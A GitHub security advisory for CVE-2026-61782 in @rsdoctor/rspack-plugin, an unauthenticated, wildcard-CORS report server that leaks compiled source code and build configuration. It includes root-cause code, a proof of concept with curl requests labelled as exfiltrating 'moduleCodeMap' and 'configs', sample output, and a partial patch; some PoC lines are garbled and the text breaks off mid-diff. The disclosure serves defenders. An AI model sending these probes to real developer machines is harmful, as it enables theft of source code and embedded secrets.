GitHub Advisoryadvisory · npm

GHSA-jmg2-rcxh-w8q3 @rsdoctor/rspack-plugin has Unauthenticated HTTP API that Exposes Project Source Code and Build Metadata

HIGH Published 2026-09-24 Modified 2026-09-24 Official page ↗
Aliases
CVE-2026-61782
Ecosystem
npm
Packages
@rsdoctor/rspack-plugin
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weaknesses
CWE-200
Reviewed
2026-09-24

Affected packages

• npm @rsdoctor/rspack-plugin: < 1.5.16 → fixed in 1.5.16

Description

Summary The default Rsdoctor report HTTP server started by `@rsdoctor/rspack-plugin` binds to all network interfaces (`0.0.0.0`) and serves a `POST /api/data/key` endpoint with no authentication and wildcard CORS (`Access-Control-Allow-Origin: *`). Any network-adjacent or remote attacker can send a single unauthenticated request to retrieve the full source code of all compiled JavaScript modules (`moduleCodeMap`), serialized build configuration (`configs`), error details, and other sensitive build metadata. This server is enabled by default in non-CI environments, requiring no special configuration from the victim developer. Details Root cause: server binds to all interfaces with no authentication and no key allowlist. The vulnerability is composed of four independently observable defects that together create a complete unauthenticated information-disclosure path: 1. Server binds to `0.0.0.0` (all interfaces) `packages/utils/src/build/server.ts:107` calls `server.listen(port, callback)` without a `host` argument. Node.js defaults to `0.0.0.0`, exposing the server on every network interface of the developer's machine, including LAN interfaces. ```ts // packages/utils/src/build/server.ts:83,107 server.listen(port, () => { // no host → 0.0.0.0 resolve(res); }); ``` 2. Wildcard CORS enabled unconditionally `packages/sdk/src/sdk/server/index.ts:106` applies `cors()` middleware with no origin restriction, and `:203–204` additionally sets `Access-Control-Allow-Origin: *` explicitly on every API response, allowing cross-origin browser requests from any domain. ```ts // packages/sdk/src/sdk/server/index.ts:106 this.app.use(cors()); // :203 res.setHeader('Access-Control-Allow-Origin', '*'); res.setHeader('Access-Control-Allow-Credentials', 'true'); ``` 3. `POST /api/data/key` registered with no authentication middleware `packages/sdk/src/sdk/server/apis/data.ts:6` registers the route via `@Router.post`. There is no authentication guard, token check, or session validation anywhere in the middleware chain. ```ts // packages/sdk/src/sdk/server/apis/data.ts:6,13,29 @Router.post(SDK.ServerAPI.API.LoadDataByKey) public async loadDataByKey() { let { key } = req.body as SDK.ServerAPI.InferRequestBodyType; const data = await this.loadData(key); return data; } ``` 4. `key` is passed to `getStoreData()` without an allowlist `packages/sdk/src/sdk/server/apis/base.ts:29–39` indexes the entire SDK data store directly using the attacker-controlled `key`, including dot-path traversal for nested keys. ```ts // packages/sdk/src/sdk/server/apis/base.ts:29,33,35-36 const data = this.ctx.sdk.getStoreData(); let res = data[key]; if (key.includes(sep)) { res = key.split(sep).reduce((t, k) => t[k], data); } return res; ``` Source-to-sink data flow: | Step | Location | Description | |------|----------|-------------| | 1 | `packages/rspack-plugin/src/plugin.ts:111` | Plugin bootstraps the SDK server during build | | 2 | `packages/core/src/inner-plugins/utils/config.ts:98,110–115` | `disableClientServer` defaults to `false`; server starts in all non-CI builds | | 3 | `packages/utils/src/build/server.ts:83,107` | HTTP server created and bound to `0.0.0.0` | | 4 | `packages/sdk/src/sdk/server/index.ts:106,203` | Wildcard CORS applied unconditionally | | 5 | `packages/sdk/src/sdk/server/apis/data.ts:6,13,29` | Attacker `key` accepted from request body | | 6 | `packages/sdk/src/sdk/server/apis/base.ts:29,36,39` | `key` indexes `sdk.getStoreData()` with no allowlist | | 7 | `packages/sdk/src/sdk/sdk/index.ts:487,491` | `moduleCodeMap` getter calls `_moduleGraph.toCodeData()` | | 8 | `packages/graph/src/graph/module-graph/graph.ts:464–469` | `toCodeData()` returns all module source objects | | 9 | `packages/graph/src/graph/module-graph/module.ts:248–250` | Each module exposes `source`, `transformed`, and `parsedSource` | | 10 | `packages/sdk/src/sdk/server/router.ts:119,125` | Serialized result written to HTTP response | Default configuration ensures source code is captured: `packages/core/src/inner-plugins/utils/config.ts` shows that `noModuleSource`, `noAssetsAndModuleSource`, and `noCode` all default to `false`, causing `normalizeReportType` to return `SDK.ToDataType.Normal`. This means module source code is stored in the SDK data store by default and retrievable via the `moduleCodeMap` key. PoC Original PoC Environment setup: ```bash Create and enter a temporary project directory mkdir /tmp/rsdoctor-poc && cd /tmp/rsdoctor-poc pnpm init Install the vulnerable version pnpm add -D @rspack/core@^2.0.8 @rspack/cli@^2.0.8 @rsdoctor/[email protected] Create a source file embedding a secret mkdir src cat > src/index.js rspack.config.js :3717/index.html ``` Exploit (from any host on the same LAN, no authentication): ```bash Primary probe: exfiltrate all module source code curl -s "http://:/api/data/key" \ -H 'Content-Type: application/json' \ --data '{"key":"moduleCodeMap"}' Response: full source code of every compiled module, including secrets ``` Expected response (excerpt): ```json { "...": "...", "source": "const INTERNAL_API_KEY = 'rsdoctor-secret-marker-123';\nconsole.log(INTERNAL_API_KEY);\n", "...": "..." } ``` Secondary probe: exfiltrate build configuration and local paths: ```bash curl -s "http://:/api/data/key" \ -H 'Content-Type: application/json' \ --data '{"key":"configs"}' Response: 9,278 bytes of serialized build configuration including absolute file paths ``` Automated PoC (Docker-based, self-contained reproduction): The Docker-based reproduction builds and starts the vulnerable project inside a container, then executes `poc.py` to confirm source code exfiltration. The PoC embeds the marker string `rsdoctor-vuln-001-secret-EXFIL-abc123` in the compiled source and asserts its presence in the unauthenticated API response: ``` ============================================================ VULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak ============================================================ [*] Detected Rsdoctor server on port: 3717 (after 3s) [*] Running PoC exploit against http://127.0.0.1:3717 ... [*] Target URL : http://127.0.0.1:3717/api/data/key [*] Payload : {"key": "moduleCodeMap"} [*] Auth header : (none) [+] HTTP status : 200 [+] Response size: 738 bytes [+] SECRET MARKER FOUND IN RESPONSE: 'rsdoctor-vuln-001-secret-EXFIL-abc123' [+] Context around secret: ...NEVER be able to read this content via an unauthenticated HTTP API. const RSDOCTOR_SECRET_MARKER = "rsdoctor-vuln-001-secret-EXFIL-abc123"; console.log(RSDOCTOR_SECRET_MARKER); module.exports = { secret: RSDOCTOR_SECRET_MARKER }; ... [PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API [+] Secondary probe (key=configs) status: 200, size: 9,278 bytes ``` Recommended patch: ```diff --- a/packages/utils/src/build/server.ts +++ b/packages/utils/src/build/server.ts -export async function createServer(port: number): Promise { + server.listen(port, host, () => { resolve(res); }); ``` ```diff --- a/packages/sdk/src/sdk/server/index.ts +++ b/packages/sdk/src/sdk/server/index.ts public get host(): string…

Related

Alias · CVE (1)

  • CVE-2026-61782 Rsdoctor is a build analyzer tailored for projects built with Rspack. vulnerability

Weakness · CWE (1)

  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor weakness

References